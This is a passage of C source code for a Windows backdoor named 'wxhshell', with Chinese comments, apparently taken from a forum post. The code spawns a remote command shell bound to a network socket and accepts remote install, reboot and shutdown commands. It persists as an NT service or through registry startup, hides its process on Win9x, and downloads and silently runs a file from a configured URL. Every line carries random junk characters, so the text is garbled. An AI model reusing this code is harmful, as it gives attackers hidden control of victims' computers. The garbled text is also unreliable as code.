    switch(cmd[0]) { AV9:O{  
  P)4x   
  // 帮助 89ZDOji?O  
  case '?': { i"KL;t[1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AwA1&mh  
    break; )m)h/_  
  } JJ)y2  
  // 安装 K"G(?<>~4c  
  case 'i': { f};!m=b  
    if(Install()) #<D@3ScC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w# xncH:1  
    else X #H:&*[!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c-v*4b/d  
    break; %oMWcgsdJi  
    } 4h(jw   
  // 卸载 zmdWVFV v  
  case 'r': { 7d%A1}Bq$  
    if(Uninstall()) ~}Kp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,WzG.3^m  
    else `s#sE.=o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]9dx3<2_I  
    break; Am]2@ESUP  
    } VoWA tNU  
  // 显示 wxhshell 所在路径 m]Hb+Y=;h  
  case 'p': { o8iig5bp  
    char svExeFile[MAX_PATH]; oPp!*$V  
    strcpy(svExeFile,"\n\r"); Qs~d_;  
      strcat(svExeFile,ExeFile); <e$5~Spc  
        send(wsh,svExeFile,strlen(svExeFile),0); Q>##hG:m  
    break; 5+J 64_  
    } t*5z1T?  
  // 重启 #IH<HL)t%e  
  case 'b': { qZ `nZi  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); YLD-SS[/>  
    if(Boot(REBOOT)) 6yy|V~5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <=#lRZW[z  
    else { )R8%wk?2  
    closesocket(wsh); Omp i~  
    ExitThread(0); "m wl-=  
    } >SY 2LmV'a  
    break; hwEZj`9  
    } 1kbT@  
  // 关机 f%`*ba" v  
  case 'd': { \Ac}R'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &Bj,.dD/a  
    if(Boot(SHUTDOWN)) e4[-rkn{hl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `%KpTh  
    else { 0\8*S3,q  
    closesocket(wsh); Mb2:'u [  
    ExitThread(0); jsK|D{m?  
    } c,+L +  
    break; 6~:W(E}  
    } z" b/osV  
  // 获取shell >DPds~k  
  case 's': { V:nMo2'hb  
    CmdShell(wsh); H ={O13  
    closesocket(wsh); n1fE daa7g  
    ExitThread(0); {QIS411  
    break; !N@S^JD6  
  } c+}!yH$  
  // 退出 R4z<Xf:!  
  case 'x': { 94Kuy@0:+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z%,\+tRe  
    CloseIt(wsh); 6\NX 5Gh  
    break; 9~LpO>-  
    } g&oc=f`  
  // 离开 mf Wz@=0  
  case 'q': { 8MYLXW6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e; &{50VY  
    closesocket(wsh); CVyx lc>  
    WSACleanup();  =F",D=  
    exit(1); f}Ne8]U/Hc  
    break; s9ju/+fv  
        } f.U0E6-(3N  
  } z 'vdC  
  } se^NQ=  
s$SU vo1J  
  // 提示信息 XvfcPI6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7eaA]y~H  
} tEpIyC  
  } 1kz9>;Ud6  
#;qFPj- v  
  return; doxdRYKL  
} 7 K;'7  
F]URf&U  
// shell模块句柄 t  z +  
int CmdShell(SOCKET sock) J_y<0zF**  
{ (`q6G d  
STARTUPINFO si; uMiD*6,$<  
ZeroMemory(&si,sizeof(si)); $ uz1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +l[Z2mW  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i5L+8kx4  
PROCESS_INFORMATION ProcessInfo; ,T,B0  
char cmdline[]="cmd"; >q} !>k$B  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r?Zy-yQ  
  return 0; C{d 8~6  
} `g4Ekp'Rp[  
pQ[o3p!&9  
// 自身启动模式 !_^ {udB}  
int StartFromService(void) v;N1'  
{ @&i#S}%/  
typedef struct +7U  A%q  
{ 'NG^HLD/  
  DWORD ExitStatus; (7rz:  
  DWORD PebBaseAddress; `[C  v-  
  DWORD AffinityMask; Q*mMF@-:  
  DWORD BasePriority; A|`Joxr  
  ULONG UniqueProcessId; #G[ *2h~99  
  ULONG InheritedFromUniqueProcessId; gr[ "A  
}   PROCESS_BASIC_INFORMATION; "FLD%3l  
$,z[XM&9)  
PROCNTQSIP NtQueryInformationProcess; LoV*YSDAY  
,\m;DR1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [+:mt</HN  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3;t@KuQ66  
Q)%8NVs  
  HANDLE             hProcess; #LrCx"_&  
  PROCESS_BASIC_INFORMATION pbi; %(dV|,|v  
n}ZBU5_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;*j6d3E  
  if(NULL == hInst ) return 0; ^Q43)H0  
3u"J4%zg|L  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \ eyQo>(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ki*79d"$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "I}'C^gP  
Y|x6g(b  
  if (!NtQueryInformationProcess) return 0; WW8YB"  
6/V{>MTZg  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bz}AO))Hk  
  if(!hProcess) return 0; xRTg [  
vBCZ/F[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [# tT o;q  
pT_e;,KW U  
  CloseHandle(hProcess); :(S/$^U  
RB$ 8^#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2o s6c te  
if(hProcess==NULL) return 0; )z*$`?)k  
7Y @=x#  
HMODULE hMod; )l[7;ZIw$  
char procName[255]; Vbqm]2o&  
unsigned long cbNeeded; 1=o(sIeA  
3' :[i2[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Bgo"JNM  
79c9 +  
  CloseHandle(hProcess); <'4!G"_EP  
L F-+5`  
if(strstr(procName,"services")) return 1; // 以服务启动 KoQ_: `  
*`pec3"  
  return 0; // 注册表启动 3MBz  
} P7BJ?x  
ru6HnLhL  
// 主模块 t+4%,n f_1  
int StartWxhshell(LPSTR lpCmdLine) gS(: c .  
{ 9q0,K" x)  
  SOCKET wsl; -SC2Zgi)A  
BOOL val=TRUE; 1 [~|  
  int port=0; x1hs19s  
  struct sockaddr_in door; QF.wtMGF&  
CgTQGJ}-  
  if(wscfg.ws_autoins) Install(); )8N)Z~h  
^B"_b?b  
port=atoi(lpCmdLine); tWX+\ |  
2AdHj&XE  
if(port<=0) port=wscfg.ws_port; )l!&i?h%  
IpaJ<~ p  
  WSADATA data; !i"9f_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; dC;d>j,  
>`,#%MH#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   EK-bvZ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); RAx]Sp Q-S  
  door.sin_family = AF_INET; r^o}Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6Nd_YX  
  door.sin_port = htons(port); UgP=k){  
FDGKMGZ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /+JP~ K  
closesocket(wsl); Zkb,v!l  
return 1; 4S{l>/I  
} ['N#aDh.?  
UXdC<(vK  
  if(listen(wsl,2) == INVALID_SOCKET) { *!7SM 7  
closesocket(wsl); @l6 dJ  
return 1; C7*Yg$`{  
} B=RKi\K6a  
  Wxhshell(wsl); J<P/w%i2  
  WSACleanup(); bM3'm$34  
2Nt]Nj`  
return 0; *}WqYqOow  
?$8 ,j+&I  
} EpoQV^ Ey  
$lG--s  
// 以NT服务方式启动 7[?}kG   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >8mW-p  
{ #<V'gE  
DWORD   status = 0; 5bqYi  
  DWORD   specificError = 0xfffffff; :-'ri Ry  
LM`tNZ1Fc!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cF<DUr)Ve  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; pcxl2I  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +P6  
  serviceStatus.dwWin32ExitCode     = 0; ,vY I O  
  serviceStatus.dwServiceSpecificExitCode = 0; u #QSa$P  
  serviceStatus.dwCheckPoint       = 0; [?r\b  
  serviceStatus.dwWaitHint       = 0; 1MzB?[gx  
eEds-&_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t-ReT_D|;  
  if (hServiceStatusHandle==0) return; &)'kX  
'`A67bdq)  
status = GetLastError(); K/LaA4  
  if (status!=NO_ERROR) =VI`CBQ/Um  
{ h^,YYoA$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; d5W[A#}  
    serviceStatus.dwCheckPoint       = 0; I:2jwAl  
    serviceStatus.dwWaitHint       = 0; Q]koj!mMl  
    serviceStatus.dwWin32ExitCode     = status; U?m?8vhR6(  
    serviceStatus.dwServiceSpecificExitCode = specificError; _@ 3O`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5<ya;iK  
    return; 9mtC"M<   
  } o>k-~v7  
 u^eC  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )UU6\2^  
  serviceStatus.dwCheckPoint       = 0; &(U=O?r7  
  serviceStatus.dwWaitHint       = 0; Ita!07  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M(f*hOG{Y  
} / z>8XM&  
rO >wX_  
// 处理NT服务事件,比如:启动、停止 (YH{%8 Z0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) # 2t\>7]  
{ V\lF:3C  
switch(fdwControl) JG+o~tQC  
{ Gqu0M`+7  
case SERVICE_CONTROL_STOP: #+Gs{iXr  
  serviceStatus.dwWin32ExitCode = 0; t $ ~:C  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;."{0gq  
  serviceStatus.dwCheckPoint   = 0; ,3TD $2};.  
  serviceStatus.dwWaitHint     = 0; kR|DzB7  
  { 2F)OyE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .\\#~r`t3  
  } /]58:euR  
  return; G!lykk]  
case SERVICE_CONTROL_PAUSE: /u1zRw  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; GnHf9 JrR  
  break; W${sD|d-  
case SERVICE_CONTROL_CONTINUE: BHBR_7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; n6+M qN  
  break; 8pKPbi;(2  
case SERVICE_CONTROL_INTERROGATE: !LSWg:Ev+  
  break; #z5?Y2t7~^  
}; $f-pLF+x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N9hWx()v  
} sSb&r  
g}`CdVQ2M<  
// 标准应用程序主函数 R1%T>2"~&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "tbBbEj?d  
{ \DdVMn  
?4dd|n  
// 获取操作系统版本 9K_HcLO%y  
OsIsNt=GetOsVer(); ^Q:`2C5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); G`K7P`m  
KUV{]?'  
  // 从命令行安装 dKG<"  
  if(strpbrk(lpCmdLine,"iI")) Install(); j>=".^J  
(.t:sn"P  
  // 下载执行文件 }{PtQc6RL!  
if(wscfg.ws_downexe) { h.%Qn vL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vYun^(_-  
  WinExec(wscfg.ws_filenam,SW_HIDE); m#(x D~V  
} D#(L@ {vC  
z@LP9+?dE  
if(!OsIsNt) { #.K&]OV/88  
// 如果时win9x,隐藏进程并且设置为注册表启动 PltPIu)F  
HideProc(); U}5KAi 9Z  
StartWxhshell(lpCmdLine); |-?b)yuAz  
} eNKdub  
else ~0  t'+.  
  if(StartFromService()) jDR\#cGrZ  
  // 以服务方式启动 35\0g&  
  StartServiceCtrlDispatcher(DispatchTable); Wsz9X;  
else rJ*WxOoS{  
  // 普通方式启动 C!A_PQ2y  
  StartWxhshell(lpCmdLine); 6!V* :.(  
jF0BWPL  
return 0; SQRz8,sqkw  
}
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只看该作者 1 发表于: 2006-10-10
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